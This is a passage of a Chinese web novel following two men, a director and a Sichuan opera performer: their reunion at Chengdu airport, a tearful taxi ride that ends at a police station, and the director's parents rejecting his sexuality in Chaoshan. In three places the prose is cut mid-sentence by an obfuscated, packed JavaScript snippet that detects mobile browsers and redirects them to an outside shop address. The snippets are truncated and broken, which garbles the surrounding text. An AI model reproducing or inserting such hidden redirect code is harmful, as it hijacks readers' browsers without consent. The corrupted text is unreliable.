“人呢?”他的喉咙里仿佛还残留着醒酒汤的苦味。 李红梅正在收拾茶几上的机票,头也不抬:“走了。” “……什么时候?” “你洗澡的时候。”李红梅把最后一张机票塞回围裙口袋,发出纸张摩擦的沙沙声。 李霄川的肩膀垮了下来。他早该知道的。陈声和从来都是这样,连告别都悄无声息。 窗外的雨小了一些,但依然淅淅沥沥地下着,雨水顺着窗玻璃蜿蜒而下,像无休止又绵长的疼痛。 楼下传来汽车发动的声音,又很快消失在雨声中。 “他走之前……”李霄川顿了顿,“说什么了?” 李红梅哼了一声,把保温桶的盖子拧得咔咔响:“他说,对不起。” 李霄川扯了扯嘴角,把衣服扔在沙发上。 “还有呢?” “还说……”李红梅没好气地说,手上的动作却放轻了,“祠堂的事,不能再拖了。” 李霄川猛地一顿。 他转身看向窗外,雨水在玻璃上扭曲了外面的灯光,把一切都变得模糊不清。 …… 陈声和不知道自己为什么要跑。 冰冷的雨水扎在脸上,然后顺着脖颈灌进衣领。他的皮鞋踏过积水坑洼,泥点溅在浅色裤管上,晕开一片污渍。 莲花西路的巷子幽深曲折,几盏路灯坏了根本没人修,黑暗从四面八方漫上来,仿佛潮汕老家涨潮时的海水。 他跑得肺叶生疼,喉间涌出铁锈般的腥甜,却不敢放慢脚步。 身后仿佛有头看不见的巨兽,张着血盆大口,它的名字叫责任,祠堂的香火、家族的期望、父亲的病情,都在那獠牙间闪着寒光。 拐角处突然窜出一辆电动车,车灯刺破雨幕。陈声和踉跄着刹住,左臂还是被车把手狠狠刮过。 “MMP,赶着投胎啊!”骑手骂骂咧咧的声音掺着引擎声远去 陈声和后背抵着潮湿的砖墙,胸口剧烈起伏。右臂火辣辣的痛感沿着神经蔓延,但他顾不上查看。 口袋里的手机正在震动,贴着大腿传来细微的酥麻。 掏出来一看,是林瑶。 “导演!”电话那头的声音带着哭腔,甚至用的是潮汕话,“您母亲刚才打电话,说……说您父亲又住院了!” 陈声和握手机的手指骤然收紧:“什么时候的事?” “半、半小时前。”林瑶的呼吸声很急促,“阿姨说……说这次情况不太好,让您马上回去……” 雨水在手机屏上蜿蜒成河,通话键的绿色被晕染成模糊的色块。 陈声和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005917|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仰起头,冰凉的雨水打在眼皮上。他听见胸腔里传来清晰的碎裂声,好比那年祠堂里摔碎的青瓷茶杯。 “帮我订机票。”抹了把脸上的雨水,“越快越好。” 这么多年来:父亲病了、父亲住院了已经成了拿捏他的一个理由,不管真假,这次都得回去。 …… 清晨5点30分,成都双流机场T2航站楼。 陈声和坐在24号登机口旁的金属座椅上,手里攥着已经被汗水浸湿的登机牌。 07:40飞往潮汕的航班信息在电子屏上闪烁着,四周嘈杂的人声掺着行李箱滚轮的声音,在空旷的候机厅里掩盖住了离别的惆怅。 他身上的衬衫还是半湿的,皱巴巴地贴在背上。长发胡乱地扎在脑后,有几缕散落在额前,遮住了他发红的眼眶。脚边的行李箱上沾着泥水,如同刚从暴雨中逃出来的幸存者。 “陈声和!” 听到这个声音,他只觉得耳朵里“嗡”的一声,整个后背都麻了。他猛地回头,看见李霄川站在不远处的地方。 那人身上套了件灰扑扑的连帽卫衣,头发湿漉漉地往下滴水,口罩挂在一只耳朵上,露出苍白的嘴唇。 看那样子,怕是连伞都没打就冲出来了。 “你……”陈声和站起来,声音卡在喉咙里,“你怎么……” “林瑶告诉我的。”李霄川往前迈了一步,声音还有些喘,运动鞋在地板上留下水痕,“你父亲的事。” 陈声和低下头,盯着自己沾满泥点的球鞋。刚才奔跑时溅上的,现在泥渍已经干了,变成褐色的斑点。 “谢谢。”他轻声说,“但不用……” “我不是来送你的。”李霄川打断他,目光盯着他,“我是来问你一个问题。” 广播在这时响起,催促前往厦门的旅客登机。机械女声在空旷的大厅里回荡,普通话和英语交替播报。 陈声和抬起头,看见李霄川的眼睛红得吓人,不知是不是和自己一样熬了一整夜,还是……刚哭过。 “五年前,”李霄川问,每个字都咬得很重,“如果我去潮汕找你,你会见我吗?” 陈声和的心脏被锤了一拳一样,肋骨下的痛让他不得不弯下腰。候机厅的灯光太亮了,他眨了几下眼睛,还是被逼出了生理性的泪水。 “会。”他听见自己说,声音轻得像一片落雪,“但我会让你走。” 李霄川笑了起来,那笑容扯动他嘴角的淤青,比哭还难看。 “我就知道。”他轻声说着,抬手抹了把脸上的雨水,把口罩戴上,“所以我没去。” 登机口的工作人员开始检票了。队伍像蜗牛一样缓慢移动,电子屏上的状态变成了正在登机。 陈声和拉过行李箱,他的手臂还在隐隐作痛,转身走的每一步都像是踩在棉花上。 背后的视线如有实质,烫得他后背发麻。 “陈声和!”李霄川再次喊他的名字,声音穿透了整个候机厅。 陈声和回头,看见李霄川站在人群中央。雨水从他的发梢滴落,在光可鉴人的地板上汇成小小的水洼。 灯光在他头顶上镀上一层毛茸茸的金边。 不怪那些年轻戏迷天天追着他跑,这人就算穿着最普通的衣服,戴着口罩,往那儿一站也跟明星似的。 “这次,”李霄川的声音仿佛生了锈,“依旧换你来选。” 陈声和站在原地,感觉有什么温热的东西从眼眶涌出。他突然松开行李箱把手,金属箱体“砰”的一声倒在地上。 他朝李霄川跑了过去。 77.我要,这次我选你 机场的玻璃窗外,大雨不断落下。 他们躲在人群的视线死角接吻,像两个快要溺亡的人抓住最后一根浮木。 李霄川的嘴唇很冷,带着雨水和泪水的咸涩。陈声和紧紧抓着他的衣领,仿佛一松手,这个人就会再次消失。 分开时,陈声和的手指还在微微发抖。他用了全部的勇气才开口:“我要。” 李霄川的身体猛地僵住:“什么?” “你问我要不要……”陈声和深吸一口气,抬起湿漉漉的眼睛直视他,“我要。” 世界在这一刻静止了。 登机广播、人群喧哗、行李箱滚轮声,全都消失了。只剩下他们交错的呼吸声,以及陈声和那句轻飘飘的“我要”。 李霄川的呼吸变得又重又急,眼底的情绪剧烈翻涌着,又被他生生压回深处。他抬起手,手指在碰到陈声和脸颊时颤了颤,才慢慢拭去那道湿润。 “你想清楚了?”他声音发紧,似乎是从胸腔深处挤出来的。 陈声和没作声,手指擦过李霄川颧骨上的淤青,那里的皮肤比想象中更烫。 “我选你。”陈声和的呼吸扑在他耳际,哑声道,“这次,我选你。” 李霄川的手臂收紧了,力道大得几乎要把他揉进骨血里,陈声和肋骨生疼,却觉得这疼痛来得正好。 “阿川,这五年……我过得一点也不好。”他几乎是咬着牙才挤出这句话,每一个字都浸满了漫长的痛苦,“我拍了很多地方,见过很多人……可看山是你,看水也是你。” 他感受到李霄川身体的僵硬,却将他抱得更紧,声音支离破碎:“我知道……你肯定也过得不好。你那些伤,那些痛苦……我都知道。” “太迟了。”李霄川喉结滚动,字句碎在空气里,“你该回去了。” 陈声和摇头,鼻尖抵着他肩膀。卫衣布料吸饱了雨水,带着凉意和洗衣粉的味道。 “不迟。”他声音闷在衣料里,“只要你还站在这里,就不迟。” 登机广播第三次响起,机械女声报着航班号。 李霄川手掌贴上他后背,力道很轻地推了推。 “走吧。”他说。 陈声和却执着地不松手,李霄川闭了闭眼睛,他强忍着痛苦,轻声说:“去吧,我等你。” 一个吻落在李霄川的唇角,轻得像雪花拂过:“别再受伤了。” 陈声和最后看了眼李霄川,转身时衣摆擦过他的手背,走向登机口的背影挺得笔直,一次都没有回头。 李霄川不知道自己是怎么走出机场的。 陈声和的背影消失在安检口的那一刻,他站在原地,手指还残留着那人衣角的触感,掌心握着一缕随时会消散的烟。 “去吧,我等你。” 他说出这句话的时候,甚至不确定自己还能不能再等下去,不知道还要等多久? “师傅,随便开。” 李霄川一把拉开车门把自己摔进后座,吐出的字句像是从破旧风箱里挤出来的。 “要得!”司机是个瘦瘦的大叔,操着一口浓重的川音,见他戴着口罩,便问他,“帅哥第一次来成都?去哪儿耍嘛?九眼桥酒吧街还是锦里?” 李霄川没回答,只是把卫衣帽子拉得更低了些。 车子驶出机场高速,窗外的路灯一盏盏熄灭了。 司机从后视镜瞥了他一眼,开始自说自话:“这个点儿去酒吧太早咯,要不我带你去吃我们成都的小面,左撇子,眼哥都巴适得很!” 李霄川盯着窗外不说话,只觉得呼吸开始困难。 “不晚。”陈声和说,“只要你还在等,就不晚。” 可他已经等了五年。 五年里,他看过无数次航班信息,想象着陈声和会不会突然出现在机场,像当年离开时那样,拖着行李箱朝他走来。 但每一次,他等到的只有冰冷的“抵达”提示,和永远不会亮起的手机屏幕。 一滴水砸在手背上。 李霄川愣了一下,才发现自己在哭。 “M卖批……”司机突然一个急刹车,“咋个开车的嘛!”转头又对李霄川说,“兄弟你莫怕,我开车稳得很!” 李霄川没有回答。 他蜷在后座,额头抵着车窗,眼泪无声地往下淌,喉结滚动着,像是要把所有呜咽都咽回去。 “兄弟,你莫不是失恋咯?”司机递过来一包纸巾,“我跟你说,成都妹儿多得很!我侄女在春熙路开奶茶店,长得乖惨咯!” 可那些压抑了五年的情绪,终于在这一刻决堤。 我等你。 他居然说了和当年一模一样的话。 但这次有了回应。 李霄川的呼吸越来越重,最后变成破碎的抽泣。他攥紧拳头,指甲深深陷进掌心,却感觉不到疼。 “哎兄弟,你咋子嘛……我送你去医院?”司机吓得方向盘都打歪了,车子在路上划出一个妖娆的S形,“你莫要搞我心态哟,我驾龄十年第一次把出租车开成蹦蹦车……要不给你放一首成都要不要得?” 不等回答,司机已经手忙脚乱地戳开播放键。车载音响突然响起:“和我在成都的街头走一走~喔哦~” 李霄川的哭声更大了。 “哦,拐咯!”司机吓得一哆嗦,差点把雨刷器当成换歌键按。 “这个太伤感咯!我们换一个……”他胡乱在屏幕上戳着,“刀郎的情人!你是我滴情人~像玫瑰花一样的女人~” 音响里传出狂野的西域风情伴奏,司机还跟着摇头晃脑地唱起来。 “用你那火火的嘴唇~让我在午夜里无尽的销魂~” 李霄川满脸泪痕,想告诉这位热心的大哥自己没事,可喉咙被堵住了似的,一个字都挤不出来。 司机从后视镜里看到他依旧痛哭,肩膀颤抖。 “我跟你说,没得撒子伤心事是一首刀郎解决不了的,如果有……”他猛地一个急转弯,“那就再来一首庞龙的噻。” “你是我的玫瑰~你是我的花!” 最终李霄川只能摇摇头,眼泪顺着下巴滑进嘴角,咸得像是陈声和老家晒了三个月的海盐小鱼干。 …… “警察同志!快来看哈这个乘客!” 司机师傅一嗓子吼得派出所玻璃都在震,他拽着个哭得眼睛通红的高个男人冲进值班室,那架势像拎着只落汤鸡。 “从机场拉出来就哭,哭得老子心慌!一路上抽抽搭搭的,我后视镜都不敢看!” 值班民警抬头一看,差点从椅子上弹起来,这不是省川剧院那个变脸演员吗? 上个月文艺汇演还看过他表演,台上唰唰唰变七八张脸不带喘气的,这会儿倒好,整张脸哭得比关公还红。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007018|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “李老师?”小王赶紧翻出抽屉里最软的那包纸巾,“您这是……遇到啥子事了?被抢了还是被骗了?” 李霄川口罩早摘了,鼻涕眼泪糊了一脸。木愣愣接过纸巾,机械地在脸上抹了两把,结果纸屑沾了满脸。 湿漉漉的睫毛眨了眨,这才看清自己居然坐在派出所调解室的塑料椅上。 “拉我来派出所搞撒子?”他哑着嗓子问,鼻音重得像感冒了三天三夜。 他茫然地环顾四周,值班室墙上挂着“电信诈骗防范指南”海报,对面三个民警齐刷刷盯着他,眼神里写满了好奇。 “我……莫得事。”他声音沙哑,鼻音浓重,听起来毫无说服力。 司机师傅急得直搓手:“警察同志你莫听他扯!从机场到这儿哭了一路!问他去哪也不开腔,光晓得抹眼睛,我怕他要跳府南河……” 李霄川的耳朵瞬间红得像火锅里的辣椒,他张了张嘴,却想起陈声和在安检口转身跑向自己时扬起的衣角,喉头又是一哽。 小王警官狐疑地打量这个哭到打嗝的川剧演员:“李老师,需要帮您联系家人吗?” “不用!”李霄川猛地站起来,结果因为哭太久缺氧,眼前一黑又栽回椅子上,把民警们吓一跳。 半个小时后,调解室里的气氛终于活络了些。小王警官的笔录本上已经画了三个歪歪扭扭的熊猫头。 实在没啥好记的,这人光顾着哭,问十句答一句。 “所以……您是因为对象终于不躲您了,高兴得哭成这样?” 李霄川把脸埋进掌心,点了点头。他想起陈声和说“我要”时颤抖的睫毛,想起那人攥着自己衣领要等自己回答的固执…… “……呜。” 刚止住的眼泪又决了堤。 小王警官手忙脚乱又拆了包新纸巾,心里直犯嘀咕:这哪是谈恋爱,分明是水漫金山。 “呜……” “李霄川!你个砍脑壳的!” 姑姑踩着积水冲进派出所时,李霄川正捧着民警给的老荫茶,眼睛肿得像两个核桃酥,口袋里还塞着司机师傅硬塞给他的薄荷糖。 说是吃了能提神,结果他含着一块糖继续掉眼泪,甜得发苦。 “姑!”他带着浓重的鼻音喊了一声,突然咧嘴笑起来,“他回来了!陈……他……他这次选我了!” 姑姑举着的巴掌僵在半空。 值班室里瞬间安静得能听见隔壁户籍室打印机的嗡嗡声。 沉默片刻后,整个派出所陆续发出憋不住的笑声。有个年轻辅警赶紧背过身去,肩膀一抖一抖的。 “哎哟我的先人板板!”姑姑收回巴掌,自己先笑出了眼泪水,“你娃有点出息行不行?哭到派出所来报喜?人家分手报警的见多了,头回见谈恋爱谈进派出所的!” 李霄川又哭又笑地点头,手里还攥着湿透的纸巾团,卫衣领口都被泪水浸得变了色。 回去的路上,雨停了,太阳也出来了。 他坐在后座看着窗外一闪而过的街景,然后摸出手机,给置顶联系人发了条语音。 “陈声和……你完了……我姑说要把你炖进火锅底料里……” 语音发送成功。 冬天难得烈日当空,白晃晃的阳光像一盆熔化的铁水倾泻而下,仿佛与五年前他们初遇时一般无二。 同样的灼热,同样的刺眼。 78.阿公……我没病 潮汕十一月依然热,空气中飘浮着海腥味和挥之不去的消毒水味。傍晚的夕阳带着微分将石缝里钻出的野草吹的轻轻晃动。 陈声和站在病房门口,额头顶在墙壁上,白衬衫的袖子卷到手肘,露出一截晒不黑的小臂。 “阿和。” 苍老的声音从身后传来。陈声和连忙站好,看见大伯站在病房门口。 “进来吧。”大伯的喉结动了动,“你爸醒了。” 医院单人病房的冷气开得很足。 陈伟杰靠在床头,手上插着留置针。他的脸色比上次见面更差了,两颊凹陷,眼白发黄,但眼神依然锋利,像只病弱但未驯服的老鹰。 “医生说这次是肝功能异常。”母亲坐在床边削苹果,果皮连成一条颤巍巍的螺旋,“都是这些年应酬喝的。” 苹果皮太长断了,掉在垃圾桶里发出轻微的嗒声。 “工作忙完了?”父亲望着他开口,声音有些缓慢,“这次回来,把婚礼也办了吧。” 陈声和的视线落在床头柜的药瓶上。白色塑料瓶身上的标签显示剂量比上次增加了,瓶盖边缘有些磨损,显然被反复打开过很多次。 “爸。”他轻声说,“我不结婚。” 病房里安静了一会,随后发出“啪”的一声。 母亲手里的水果刀掉在地上,不锈钢刀身撞在瓷砖上发出刺耳的声响。 “你说什么?”父亲撑起身子,留置针的管子晃了晃,“再说一遍?” 陈声和抬起头,看见监护仪上的绿色数字开始快速跳动。 “我不结婚。”他每个字都咬得很清楚,“不管是黄家女儿,还是其他人。” 父亲的呼吸变得粗重,监护仪上的心率线开始剧烈波动。母亲扑过来按住父亲的手:“别激动!医生说你不能……” “滚出去!”父亲抓起药瓶砸过来,塑料瓶擦过陈声和的额角,“我没你这样的儿子!” 药瓶在地上滚了几圈,撞到墙角才停下。陈声和弯腰捡起来,指腹蹭过瓶身上细小的划痕,轻轻把它放回床头。 “我去看看阿公阿嬷的牌位。”他说完转身时,瞥见母亲通红的眼眶。 出来的时候,大伯已经走了。 陈声和去找了父亲的主治医生问了问情况,倒没什么大毛病,但小毛病一大堆。 说起来,还是早些年他谈生意应酬多,老熬夜。现在年纪上来了,所有问题就都冒出来了。 夜间的祠堂比白天冷一点,海风从门缝里钻进来,吹得长明灯的火苗一晃一晃的。 陈声和跪在褪色的蒲团上,面前是层层叠叠的祖先牌位。最下层新增的那个乌木牌位还是新的。 阿嬷去年冬天走的,查出病癌到咽气不过三个月。 这时手机在口袋里震动。他掏出来,锁屏上是林瑶发来的微信: 【导演,剧组明天要回北京了,川剧院今晚安排了杀青饭。李老师说……】 后面的内容被折叠了。 拇指在屏幕上方悬了一会儿,最后还是直接按熄了。祠堂角落里有蟋蟀在叫,香炉里有支香烧到了尽头,香灰轻轻掉了下来。 祠堂的侧门吱呀一声开了,木轴摩擦的声音在寂静的夜里异常清晰。 母亲端着保温盒轻手轻脚地走进来,布鞋底擦着青砖地面,几乎没发出一点声响。 “吃点东西。”她把印着牡丹花纹的饭盒放在供桌边上,掀开盖子时不锈钢发出轻微的碰撞声,“你最爱吃的蚝烙,还热着。” 陈声和跪在蒲团上没动。 母亲叹了口气,也在他旁边的蒲团上跪了下来。奶白色的麻棉裤子上沾了香灰,那灰白的颜色在月光下几乎和布料融在一起。 “阿和,”她声音淡淡的,“妈知道你不喜欢黄嘉雯。” 月光从雕花窗斜照进来,在青砖上投出一块块菱形的光。母子俩的影子被拉得长长的,映在墙上。明明靠得近,中间却始终隔着一道浅浅的光。 “那……”母亲的声音更轻了,手不自觉地捏紧了念珠,“你喜欢什么样的?妈帮你留意。” 陈声和盯着供桌上跳动的烛火,脸上没什么表情。 “男的。”他语气平静,但说的很坚定,“我喜欢男的。” 母亲的巴掌来得猝不及防,陈声和甚至听见她抬手时袖子带起的风声。 “啪”的一声在祠堂里回响。左脸立刻火辣辣地烧起来,嘴里涌出一股铁锈味。 “你是不是非要逼死我跟你爸才甘心?”母亲的声音抖得厉害,指甲深深掐进自己手心。 陈声和慢慢转回头,看着她的眼睛:“我喜欢男人,很多年了。” “啪!” 第二下更重。左耳嗡嗡作响,几乎听不见声音。右耳里只剩下自己咚咚的心跳。 “你疯了是不是?”母亲一把揪住他的衣领,指甲隔着棉布掐进他的肩膀,“你是大房独子!你要绝我们这房的后吗?” 供桌上的蜡烛剧烈晃动起来,祖先牌位在墙上投下扭曲的影子。 远处池塘里的青蛙突然集体噤声,祠堂里静得能听见烛芯燃烧的“噼啪”声。 陈声和看着母亲通红的眼睛,突然想起小时候,他发烧到39度,母亲也是这样揪着他的衣领,哭着说“你敢死试试看”。 “妈。”他轻声说,喉咙干涩得像塞了一把沙子,“我不会改的,也改不了了。” 母亲的手松开,踉跄着后退两步撞上供桌。一支蜡烛被碰倒,蜡油滴在她精心熨烫的衣服下摆上。 她的发髻散了一半,一缕白发从鬓角垂下来,在月光下分明。 “滚。”她指着大门,声音嘶哑,“别脏了祠堂的地。” 陈声和对着祖宗牌位恭恭敬敬磕了三个头,起身时膝盖传来针扎般的刺痛。走到门槛时,他听见身后传来压抑的抽泣声。 “阿和……”她的声音支离破碎,“你让妈怎么活……” 陈声和停下脚步,背对着祠堂深吸一口气。夜风带着露水的湿气灌进他的肺里,凉得发疼。 “妈,真正的孝顺,不意味着牺牲一生的幸福。”他的声音里带着颤抖,却依旧把那几句心里话说了出来,“我们有很多可以解决的办法,我愿意承担家族重担,但你和爸爸……也要尊重我的选择。” 说完,他迈过那道一尺高的门槛,月光立刻淹没了他的背影。祠堂里,那支倒下的蜡烛还在燃烧,蜡油在供桌上积成小小的一滩。 …… 陈家的老宅还亮着灯。 陈声和插着兜站在巷口那棵老榕树底下,树叶沙沙地响。夜里起了点风,带着湿气,一下下蹭着他衬衫领子。 二楼那扇窗还是暖黄色的。小时候阿嬷总会给他留一盏夜灯。其实他知道,不过是保姆总忘记关,说了多少回都这样。 手机在裤袋里震了,张远发来的:【潮汕下雨没?】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007019|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他抬头看了看天,墨蓝墨蓝的,星星亮得晃眼,半片云都找不着。 【没】拇指在发送键上悬了一会儿,才按下去。 发完这条,他关掉手机,屏幕暗下去的时候,巷子里不知谁家的狗在叫。 他往深处走,拐进那条窄巷。地缝里钻出几撮野草,阿公的老厝就藏在黑影里。 门头上有块松动的砖,还在老地方。陈声和伸手摸索了一下,然后拿下一把钥匙。 上次来是什么时候了? 阿公葬礼后? 推门的吱呀声惊动了梁上歇息的燕子。月光从气窗斜斜切进来,地板上积的灰像一层绒,上面印着几个清晰的鞋印。 这老厝是阿公生前偷偷置办的,连他爸和三个叔伯都不知道。这是阿公和阿嬷之间,最后一个秘密。 供桌上的灰尘在烛光里浮沉,阿公阿嬷的相片安静地笑着。那笑容还和从前一样,仿佛下一秒就会唤他“和仔”。 陈声和先到天井打了桶井水,仔仔细细洗了三遍手,指甲缝里的血丝在清水中丝丝缕缕地化开。 香点燃了,三缕青烟笔直地上升,却在顶端又散开。他的手抖得太厉害,香灰簌簌落在虎口,烫出一片红痕也没察觉。 褪色的蒲团发出不堪重负的呻吟。他跪下去时听见自己膝盖骨咯的一声响,却比不上心头那根弦断裂的声音来得清脆。 他伸手擦拭相框玻璃,指腹碰到阿公的笑脸时突然顿住,镜面倒映出自己红肿的脸颊,十个指印像烙铁烙上去似的,在苍白的皮肤上格外刺目。 “阿公……”他张了张嘴,喉咙里挤出气音。滚烫的眼泪砸在相框上,顺着阿公的衣领往下淌,“我没有病……” 这句话他说了太多次,说到连自己都要信了。 香炉里的灰塌了一角,扬起细小的尘埃。 陈声和猛地弓下腰,手指死死揪住衣领,像是要把那颗不听话的心挖出来。喉间溢出的呜咽在空荡的堂屋里回响,比祠堂那口破钟的声音还要沉闷。 “那个成都的唱戏仔……”他把自己蜷得更紧,额头抵在冰冷的地砖上,“我试过了……真的戒掉……” 声音断断续续,带着哭过头的沙哑。眼泪不受控制地往下淌,在地面上蜿蜒开,积成一小片水洼。 摇曳的烛光倒映在里面,碎成一片,恍惚间,像是五年前,李霄川带他去看的,成都那片望不到头的万家灯火。 他想起那人总是把他紧紧搂在怀里,温热的掌心一下下拍着他的背,声音又低又柔地哄:“乖,疼就喊出来,在我这儿不用忍着。” 然而现在,陈声和连喊疼的资格都没有了。 “可是这里……” 他像是跟谁赌气,又像是绝望到了极点,用拳头狠狠捶打着心口,那一声声沉闷的撞击,在寂静的祠堂里显得格外吓人。 “不听我的话啊……” “阿公……” 他抬起朦胧的泪眼,刚才点燃祈求指引的最后一炷香,不知何时已悄无声息地灭了,只剩一缕极细的青烟,仿佛他快要断掉的念想。 可就在他万念俱灰的注视下,那黯淡的香头,竟毫无征兆地……又重新燃起了一点猩红的光。 微弱,却顽强。 好像冥冥之中,阿公真的听到了他这剜心剔骨的痛苦。 又好像是阿公在无声地告诉他: ——孥囝(读奴仔),行落去,前头或许有路。 79.被催婚的姑娘得有多少啊? 已经是凌晨快四点了,陈家老宅的书房灯还倔强地亮着,在一片沉睡的潮汕老厝中像黑夜里唯一醒着的指引灯。 陈伟杰面前的黄铜烟灰缸里,早就横七竖八插了好几个烟头。 他抬手揉了揉太阳穴,手腕上还套着医院那种住院手环,松垮垮的。袖口不知道什么时候蹭到了一块碘酒,这会儿已经干成了深褐色。 窗外的玉兰树沙沙作响,把消毒水的气味搅得更浓了些。 “趁热喝。”陈婉琼推门进来,手里的描金参汤盅放在桌面上。 她一眼就看见丈夫的拇指正反复摩挲着文件签名栏那块空白,指甲边缘都磨得发白了。 旁边那支狼毫笔,笔尖早就干裂,硬邦邦的。 汤盅腾起的热气模糊了妻子的眼睛,她声音发颤:“真要让他……” 她声音抖得厉害,后半句淹没在参汤苦涩的香气里。 陈伟杰转头望向窗外。月光正漫过祠堂的琉璃瓦,在屋脊兽上淌出一道银亮的线。 他忽然伸手“啪”地按灭台灯,黑暗里只剩下他指间烟头的红光,一明一暗,像挣扎的心跳。 “总比族谱上写过继强。”他的声音在黑暗里显得特别沉。 陈婉琼摘下老花镜,用衣角慢慢擦拭。这个动作她今晚不知道重复了多少遍。 “这事瞒不住的,”她望着玻璃上两人模糊的影子,“族老们早晚会知道,到时候怎么办?” 指间的香烟爆出个细小的火花。 陈伟杰恍惚想起二十多年前产房里的情景。 护士托着那个浑身皱红的小肉团,还没他巴掌大。他当时脱口而出的“怎么这么丑”,换来老父亲当头一记栗暴。 可那个丑巴巴的小东西,后来长成了会趴在祠堂门槛上,仰着糯米团子似的小脸问他“阿爸,木雕上的鱼儿为什么不会游”的仔。 说到底,问题也出在他们自己身上。要是身体争气点,能多生一个两个,也不至于把所有的指望、所有的担子,都压在这一个孩子身上。 可他们夫妻俩的身体,这些年是越来越不行了。 “当年我们拜遍了满天神佛才得了这个孩子,就盼着他一生平安喜乐……”烟灰终于不堪重负地断裂,不偏不倚落在文件上“过继”两个字上,“以后……让他去别的城市发展吧。” 陈婉琼的哽咽闷在参汤的热气里,化不开。 在陈声和出生前,他们夫妻俩不知寻了多少偏方,喝了多少苦药,拜遍了潮汕乃至泰国大大小小的庙宇庵堂,才终于盼来了这么一个孩子。 那时节,他们整日提心吊胆,所求所愿,翻来覆去也不过是最朴素的一句:“不求他大富大贵,出人头地,只盼着这孩子能无病无灾,平安健康地长大,就好。” 可不知从什么时候起,或许是随着陈声和一年年长高,父母的这份初心,也无声无息地变了味道。 他们开始在意成绩单上的排名,挑剔他交往的朋友,更早早为他规划好了婚姻与事业的轨迹。 那些曾经“只要健康快乐就好”的祈祷,逐渐被“我们都是为你好”的沉重爱意所取代,推着他,逼着他,必须走上那条他们认定的、最“正确”的路。 可这个世界上,哪有什么是唯一“正确”的路呢? 若真有,为何老天爷要造出千百种不同的性格。 让有的人像李霄川,一身傲骨,宁折不弯,在布满荆棘和传统路上走得鲜血淋漓也甘之如饴。 又让有的人像他陈声和,生着副温顺皮囊,却偏长了身反骨,只能在镜头后捕捉真实,却在无声处掀起巨浪。 他们一个在台上燃烧自己,诠释至情至性,一个在取景框后凝视万物,记录爱恨踪迹,本就是两条截然不同的轨迹。 若非那点不灭的情愫硬生生将命运扭在一起,或许此生都不会有交集。 规定的,或许是路的起点与边界。 但路上每一个脚印的深浅,每一次转弯的选择,都是性格这只手,推着每个人走出属于自己的那条痕。 或深或浅,或曲或直,都作数。 …… 父亲出院后,恢复得还算稳定。 陈声和便准备回剧组了。 大夫说,他这病是长年累月应酬喝酒,心脏年轻就不太好,加上年纪上来,根本经不起折腾。 说白了,就是他的身体、他的生意,还有陈声和这不结婚的儿子,所有压力堆在一起,终于撑不住了。 川剧院的拍摄虽然已经收尾,但华央那边还有工作要报备,年底的宣发周期紧,纪录片后期也需要盯。 这天下午,他正准备去医院拿药,刚推开门,就看见黄嘉雯站在院子里的老榕树下。 “声和。”她喊了他一声,“我们能聊聊吗?” 陈声和愣了一下。 黄嘉雯的气色很差,嘴唇发白,眼下发青,像是刚生过一场大病。她穿了件高领毛衣,袖口严严实实地遮住手腕,可手指关节处隐约能看见瘀痕。 他下意识回头看了眼书房的方向,父亲应该还在午睡。 “走吧,”他低声说,“出去谈。” 俩人一路去了咖啡厅,选了最角落的位置坐下,今天阳光不错,可黄嘉雯的手一直在抖。 两杯美式摆在桌上,谁都没动。 直到服务生过来问要不要续杯,陈声和才开口。 “嘉雯,”他看着对面这个快要碎掉的女孩,“这个忙,我帮不了。” 黄嘉雯的睫毛颤了颤,没说话。 “我不能这样做。”他又重复了一遍。 黄嘉雯却忽然抬手掀起了自己的泡泡袖。她的手臂上全是淤青,有些已经泛紫,应该是被什么东西抽打的痕迹。 新伤叠着旧伤,触目惊心。 陈声和脸色变了变,张了张嘴,最终说了句:“你为什么不出国?” 黄嘉雯扯了扯嘴角,眼泪却先掉了下来。 “那你呢?”她反问陈声和,“你为什么不回潮汕?” 陈声和端起咖啡喝了一口,太苦了,苦得他舌尖发麻。 就像他和黄嘉雯这操蛋的人生一样。 起初陈声和不知道,直到他坦白自己性取向,告诉她,不能和她结婚,黄嘉雯才向他坦白。 黄嘉雯也有个女朋友,但她比自己还难,因为另外一个女孩,也是潮汕的。 两家的父母原本都在撮合他们,门当户对,知根知底。黄嘉雯甚至想过和他形婚,各过各的,只要给长辈一个交代就行。 可陈声和拒绝了黄嘉雯的合作,他做不到和不爱的人结婚,更做不到利用她生个孩子向父母交代。 哪怕黄嘉雯提出很多条件,他也不愿意,他不能背叛李霄川,更不能耽误人女孩,这是底线。 “我现在……真的只能求你了。”黄嘉雯的嗓子哑得厉害,手指绞紧了袖口,“我 